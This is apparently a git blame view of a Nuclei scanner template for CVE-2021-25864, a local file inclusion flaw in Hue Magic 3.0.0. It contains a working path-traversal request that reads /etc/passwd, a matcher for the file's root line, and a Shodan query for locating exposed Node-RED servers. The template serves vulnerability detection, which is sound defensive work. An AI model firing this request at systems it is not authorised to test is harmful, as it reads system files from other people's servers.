2022-01-31 09:06:37 +00:00
|
|
|
id: CVE-2021-25864
|
|
|
|
|
|
|
|
info:
|
2022-06-27 16:14:01 +00:00
|
|
|
name: Hue Magic 3.0.0 - Local File Inclusion
|
2022-01-31 09:06:37 +00:00
|
|
|
author: 0x_Akoko
|
|
|
|
severity: high
|
2022-06-27 18:31:03 +00:00
|
|
|
description: Hue Magic 3.0.0 is susceptible to local file inclusion via the res.sendFile API.
|
2022-01-31 09:06:37 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/Foddy/node-red-contrib-huemagic/issues/217
|
2022-06-27 16:14:01 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
|
2022-01-31 09:06:37 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cve-id: CVE-2021-25864
|
|
|
|
cwe-id: CWE-22
|
2023-04-12 10:55:48 +00:00
|
|
|
epss-score: 0.55044
|
2023-07-11 19:49:27 +00:00
|
|
|
cpe: cpe:2.3:a:node-red-contrib-huemagic_project:node-red-contrib-huemagic:3.0.0:*:*:*:*:node.js:*:*
|
2022-04-22 10:38:41 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 1
|
2022-04-22 10:38:41 +00:00
|
|
|
shodan-query: title:"NODE-RED"
|
2023-07-11 19:49:27 +00:00
|
|
|
framework: node.js
|
|
|
|
vendor: node-red-contrib-huemagic_project
|
|
|
|
product: node-red-contrib-huemagic
|
2022-01-31 09:06:37 +00:00
|
|
|
tags: cve,cve2021,huemagic,lfi
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-01-31 09:06:37 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2022-01-31 09:06:37 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|